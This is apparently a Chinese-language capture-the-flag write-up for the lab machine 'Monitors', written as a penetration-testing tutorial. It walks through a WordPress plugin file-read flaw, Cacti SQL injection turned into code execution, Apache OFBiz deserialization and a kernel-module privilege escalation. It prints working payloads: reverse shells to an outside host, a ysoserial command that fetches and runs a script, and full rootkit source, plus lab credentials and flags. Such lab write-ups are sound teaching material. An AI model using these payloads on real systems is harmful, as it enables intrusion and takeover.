[Meachines] [Hard] Monitors spritz-LFI+cacti-SQLI+OFBiz-Des+LKM-Rootkit特權升級
字数 1055 2025-08-22 12:23:06

综合渗透测试实战教学:从信息收集到Rootkit提权

1. 信息收集与初始访问

1.1 目标识别与端口扫描

目标IP: 10.10.10.238

使用Masscan进行快速端口扫描:

ip='10.10.10.238'; itf='tun0'
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')

Nmap详细扫描结果:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

1.2 WordPress站点发现与LFI漏洞利用

  1. 添加hosts记录:
echo '10.10.10.238 monitors.htb' >> /etc/hosts
  1. 使用WPScan扫描WordPress:
wpscan --url 'http://monitors.htb/'
  1. 发现wp-with-spritz插件存在LFI漏洞:
curl http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/etc/passwd
  1. 使用pany.py自动化工具读取敏感文件:
python3 pany.py -u 'http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/etc/apache2/sites-enabled/monitors.htb.conf'
python3 pany.py -u 'http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/var/www/wordpress/wp-config.php'

获取到WordPress管理员凭据:

username: wpadmin
password: BestAdministrator@2020!

2. Cacti系统SQL注入与RCE

2.1 发现Cacti子系统

  1. 添加hosts记录:
echo '10.10.10.238 cacti-admin.monitors.htb' >> /etc/hosts
  1. 访问Cacti登录页面:
http://cacti-admin.monitors.htb/cacti/index.php

2.2 SQL注入攻击

利用color.php的SQL注入漏洞:

/cacti/color.php?action=export&header=false&filter=1')+UNION+SELECT+1,username,@@VERSION,4,5,6,7+from+user_auth;--+-

2.3 通过path_php_binary实现RCE

  1. 修改settings表中的path_php_binary值为恶意命令:
#!/bin/bash
payload='bash -c "bash -i >& /dev/tcp/10.10.16.24/443 0>&1"'
encoded_payload=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
curl -s -b "$COOKIE_JAR" "http://cacti-admin.monitors.htb/cacti/color.php?action=export&header=false&filter=1')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='$encoded_payload'+where+name='path_php_binary';--+-"
  1. 触发命令执行:
curl -s -b "$COOKIE_JAR" "http://cacti-admin.monitors.htb/cacti/host.php?action=reindex"

3. 横向移动与权限提升

3.1 获取marcus用户凭据

在Cacti系统中发现marcus用户密码:

marcus: Dlink

3.2 使用dlink工具建立持久通道

  1. 传输dlink工具到目标:
nc -lvnp 10032 > dlink
nc 10.10.10.238 10032 < ./dlink_v2_linux_x64
  1. 启动dlink服务器:
./dlink server --port 10099 --path /tmp --key abcdefgh --reverse
  1. 在目标上运行客户端:
./dlink client --endpoint "10.10.16.24:10099" --path /tmp --key abcdefgh --reverse
  1. 发现备份脚本中的密码:
cat /home/marcus/.backup/backup.sh

获取密码:VerticalEdge2020

4. OFBiz反序列化漏洞利用

4.1 发现OFBiz服务

通过端口转发访问本地OFBiz服务:

ssh -L 8443:127.0.0.1:8443 marcus@10.10.10.238

4.2 利用CVE-2020-9496反序列化漏洞

  1. 使用ysoserial生成payload:
java -jar ./ysoserial-all.jar CommonsBeanutils1 "wget $ip/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"
  1. 发送恶意请求:
curl -s $url:$port/webtools/control/xmlrpc -X POST -d "<?xml version='1.0'?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>$payload</serializable></value></member></struct></value></param></params></methodCall>" -k -H 'Content-Type:application/xml'
  1. 执行下载的shell:
java -jar ./ysoserial-all.jar CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"

5. 容器逃逸与内核提权

5.1 容器环境检测

检查容器环境:

capsh --print

发现容器具有完整Linux capability权限集合(+eip)

5.2 使用特权容器逃逸

利用docker特权模式逃逸:

docker --privileged

5.3 LKM Rootkit提权

  1. 创建reverse-shell.c内核模块:
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.16.24/443 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
  1. 编译并加载内核模块:
make
insmod reverse-shell.ko

6. 关键凭证与标志

  • WordPress管理员凭证:

    username: wpadmin
    password: BestAdministrator@2020!
    
  • Marcus用户凭证:

    username: marcus
    password: VerticalEdge2020
    
  • 用户标志:

    0e688674f135be38246e99ddcc34f006
    
  • Root标志:

    59ed7901b1a0b8aa9eaaf42d78d38796
    

7. 总结

本渗透测试过程展示了从初始信息收集到最终获取root权限的完整攻击链,涉及以下关键技术点:

  1. WordPress插件LFI漏洞利用
  2. Cacti系统SQL注入与配置修改实现RCE
  3. 凭证重用与横向移动
  4. OFBiz反序列化漏洞利用
  5. 容器环境检测与逃逸
  6. Linux内核模块Rootkit提权

每个环节都充分利用了系统配置错误和已知漏洞,展示了现代渗透测试中常见的攻击路径和技术组合。

综合渗透测试实战教学:从信息收集到Rootkit提权 1. 信息收集与初始访问 1.1 目标识别与端口扫描 目标IP: 10.10.10.238 使用Masscan进行快速端口扫描: Nmap详细扫描结果: 1.2 WordPress站点发现与LFI漏洞利用 添加hosts记录: 使用WPScan扫描WordPress: 发现wp-with-spritz插件存在LFI漏洞: 使用pany.py自动化工具读取敏感文件: 获取到WordPress管理员凭据: 2. Cacti系统SQL注入与RCE 2.1 发现Cacti子系统 添加hosts记录: 访问Cacti登录页面: 2.2 SQL注入攻击 利用color.php的SQL注入漏洞: 2.3 通过path_ php_ binary实现RCE 修改settings表中的path_ php_ binary值为恶意命令: 触发命令执行: 3. 横向移动与权限提升 3.1 获取marcus用户凭据 在Cacti系统中发现marcus用户密码: 3.2 使用dlink工具建立持久通道 传输dlink工具到目标: 启动dlink服务器: 在目标上运行客户端: 发现备份脚本中的密码: 获取密码: VerticalEdge2020 4. OFBiz反序列化漏洞利用 4.1 发现OFBiz服务 通过端口转发访问本地OFBiz服务: 4.2 利用CVE-2020-9496反序列化漏洞 使用ysoserial生成payload: 发送恶意请求: 执行下载的shell: 5. 容器逃逸与内核提权 5.1 容器环境检测 检查容器环境: 发现容器具有完整Linux capability权限集合(+eip) 5.2 使用特权容器逃逸 利用docker特权模式逃逸: 5.3 LKM Rootkit提权 创建reverse-shell.c内核模块: 编译并加载内核模块: 6. 关键凭证与标志 WordPress管理员凭证: Marcus用户凭证: 用户标志: Root标志: 7. 总结 本渗透测试过程展示了从初始信息收集到最终获取root权限的完整攻击链,涉及以下关键技术点: WordPress插件LFI漏洞利用 Cacti系统SQL注入与配置修改实现RCE 凭证重用与横向移动 OFBiz反序列化漏洞利用 容器环境检测与逃逸 Linux内核模块Rootkit提权 每个环节都充分利用了系统配置错误和已知漏洞,展示了现代渗透测试中常见的攻击路径和技术组合。